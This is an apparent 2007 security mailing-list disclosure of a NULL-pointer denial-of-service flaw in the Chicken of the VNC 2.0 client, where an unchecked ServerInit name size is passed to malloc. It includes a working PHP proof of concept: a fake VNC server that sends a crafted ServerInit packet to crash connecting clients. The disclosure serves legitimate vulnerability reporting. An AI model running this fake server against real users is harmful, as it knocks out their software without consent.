Chicken of the VNC 2.0 remote DoS

[poplix () papuasia org]

hi,
i wish to inform you that cotv 2.0 (a vnc client for maxosx) available at http://sourceforge.net/projects/cotvnc/ is 
prone to a remotely exploitable denial of service vulnerability because it fails to validate the content of ServerInit 
packets.
A ServerInit packet contains the server's computer name and its size in the following format:
[...]<computer-name-size><computer-name>
where:  
computer-name-size is 4bytes interpreted as unsigned int rapresentig the size in bytes of the computer name
and
computer-name is a variable size array of bytes rapresentig the computer name

when cotv recives a ServerInit packet, it first allocates a buffer by passing computer-name-size to malloc() and then 
it copies computer-name to the newly allocated memory. 
The problem is that cotv doesn't validate the pointer returned by malloc() so it's possible that a NULL-pointer will be 
used as the first parameter of memcpy() causing the program to crash.

a proof-of-concept is attached, run that php script and connect cotv to it with a blank password (disable vnc auth)

hope it helps,
cheers
-poplix




# BOF
<?
$port = "5900";


$BadServerInit=
"\x04\x00".                                     // fb-width
"\x03\x00".                                     // fb-hight
"\x20".                                         // bits per pixel
"\x18".                                         // depth
"\x00".                                         // big-endian flag
"\x01".                                         // true-color flag
"\x00\xff\x00\xff\x00\xff". // r-g-b max
"\x10\x08\x00".                         // r-g-b shift
"\x00\x00\x00".                         // padding
"\xff\xff\xff\xff".                     // computer-name size
"DIE_PLZ";                                      // computer-name


$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);
socket_bind($ser,"0.0.0.0", $port);

socket_listen($ser, 5);

print "this fake vnc server will crash cotv2.0 (http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer 
dereference
02-02-2007   poplix [@] papuasia.org
listening on $port ...\n";

$cotv = socket_accept($ser);
print "client connected\n";

socket_write($cotv, "RFB 00 3.008\n");
while($i=socket_read($cotv, 1024))
        if(substr($i,0,6) == "RFB 00") break;
        
        
print "protocol has been negotiated\n";

socket_write($cotv, "\x00\x00\x00\x01");
while($i=socket_read($cotv, 1024)) 
        if(ord($i[0])==0 || ord($i[0])==1)break;

print "sending expl...\n";

socket_write($cotv, $BadServerInit);


socket_close($cotv);

socket_close($ser);

print "done\n";
?>
# EOF